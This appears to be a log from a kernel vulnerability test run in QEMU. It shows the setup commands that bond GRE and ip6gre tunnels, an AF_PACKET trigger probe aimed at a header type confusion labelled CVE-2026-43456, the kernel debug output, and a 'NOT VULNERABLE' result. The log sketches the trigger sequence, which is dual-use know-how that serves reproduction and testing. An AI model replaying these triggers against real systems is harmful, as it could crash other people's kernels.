cmd: /sbin/ip link set ip6gre1 master bond7 2>&1 || true [ 14.835859] bond7: (slave ip6gre1): The slave device specified does not support setting the MAC address [ 14.836399] bond7: (slave ip6gre1): Setting fail_over_mac to active for active-backup mode [ 14.844669] bond7: (slave ip6gre1): making interface the new active one [ 14.846478] bond7: (slave ip6gre1): Enslaving as an active interface with an up link [init] cmd: /sbin/ip link set ip6gre1 up 2>&1 || true [ 14.931271] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] cmd: /sbin/ip link set bond7 up 2>&1 || true [ 15.059635] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [init] cmd: /sbin/ip addr add fe80::7/64 dev bond7 2>&1 || true [ 15.154168] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [init] ---- PROBE B trigger AF_PACKET on bond7 (ip6gre_header type confusion) ---- [init] AF_PACKET sendto(bond7) rc=-1 (Invalid argument) [ 15.445487] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.447454] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.459108] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [init] udp6 sendto ff02::1%bond7 rc=-1 (Cannot assign requested address) [init] udp6 sendto fe80::2%bond7 rc=-1 (Cannot assign requested address) [ 15.604492] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] STEP: dump recent kernel log [init] cmd: dmesg 2>/dev/null | tail -80 || true [ 15.764012] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [ 15.891868] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [ 8.631488] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 8.633285] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 8.635126] hid: raw HID events driver (C) Jiri Kosina [ 8.663402] usbcore: registered new interface driver usbhid [ 8.663744] usbhid: USB HID core driver [ 8.691547] Initializing XFRM netlink socket [ 8.693756] NET: Registered PF_INET6 protocol family [ 8.720749] Segment Routing with IPv6 [ 8.722082] In-situ OAM (IOAM) with IPv6 [ 8.724882] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 8.740222] NET: Registered PF_PACKET protocol family [ 8.743010] 9pnet: Installing 9P2000 support [ 8.744326] Key type dns_resolver registered [ 8.763282] IPI shorthand broadcast: enabled [ 9.066764] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 9.443627] sched_clock: Marking stable (9384054305, 59522677)->(9474179662, -30602630) [ 9.459388] registered taskstats version 1 [ 9.459765] Loading compiled-in X.509 certificates [ 9.866182] Demotion targets for Node 0: null [ 9.875765] PM: Magic number: 2:8:373 [ 9.876237] vc vcsa1: hash matches [ 9.876701] netconsole: network logging started [ 9.882470] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 9.899283] kworker/u16:0 (69) used greatest stack depth: 29312 bytes left [ 9.921203] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 9.927364] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 9.931747] ALSA device list: [ 9.931968] No soundcards found. [ 9.936131] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 9.936898] cfg80211: failed to load regulatory.db [ 9.944470] check access for rdinit=/init failed: -2, ignoring [ 9.945091] md: Waiting for all devices to be available before autodetect [ 9.945340] md: If you don't use raid, use raid=noautodetect [ 9.945675] md: Autodetecting RAID arrays. [ 9.945822] md: autorun ... [ 9.945936] md: ... autorun DONE. [ 9.973224] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 10.026092] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 10.085981] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 10.087979] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 10.107441] devtmpfs: mounted [ 10.214184] Freeing unused kernel image (initmem) memory: 5644K [ 10.214919] Write protecting the kernel read-only data: 40960k [ 10.221253] Freeing unused kernel image (text/rodata gap) memory: 564K [ 10.223626] Freeing unused kernel image (rodata/data gap) memory: 308K [ 10.807259] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 10.808253] Run /init as init process [ 10.808430] with arguments: [ 10.808475] /init [ 10.808499] nokaslr [ 10.808519] with environment: [ 10.808613] HOME=/ [ 10.808639] TERM=linux [ 11.362308] uname (77) used greatest stack depth: 26440 bytes left [ 11.374370] sh (75) used greatest stack depth: 26184 bytes left [ 11.983895] modprobe (82) used greatest stack depth: 24960 bytes left [ 12.235952] gre: GRE over IPv4 demultiplexer driver [ 12.262755] ip_gre: GRE over IPv4 tunneling driver [ 12.521065] ip6_gre: GRE over IPv6 tunneling driver [ 13.700848] bond1: (slave gre1): The slave device specified does not support setting the MAC address [ 13.701437] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode [ 13.718914] bond1: (slave gre1): making interface the new active one [ 13.721406] bond1: (slave gre1): Enslaving as an active interface with an up link [ 13.932393] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.025738] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.226625] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.332508] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.404501] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.835859] bond7: (slave ip6gre1): The slave device specified does not support setting the MAC address [ 14.836399] bond7: (slave ip6gre1): Setting fail_over_mac to active for active-backup mode [ 14.844669] bond7: (slave ip6gre1): making interface the new active one [ 14.846478] bond7: (slave ip6gre1): Enslaving as an active interface with an up link [ 14.931271] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.059635] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [ 15.154168] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [ 15.445487] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.447454] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.459108] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [ 15.604492] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.764012] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [init] RESULT: NOT VULNERABLE (both probes survived, no kernel crash) [ 16.788719] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [ 16.790239] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond7 hlen=0 needed=40 headroom=288 [ 17.336091] ACPI: PM: Preparing to enter system sleep state S5 [ 17.338919] reboot: Power down === VULN qemu exit=0 2026-07-03T09:23:40+00:00 === === dev+hlen samples === ip6gre_header: dev=bond7 hlen=0 needed=40 ipgre_header: dev=bond1 hlen=0 needed=20 === crash markers === 416:[init] ==== PROBE B: ip6gre (IPv6 GRE) : ip6gre1 -> bond7 active-backup ==== 430:[init] ---- PROBE B trigger AF_PACKET on bond7 (ip6gre_header type confusion) ---- 522:[init] RESULT: NOT VULNERABLE (both probes survived, no kernel crash)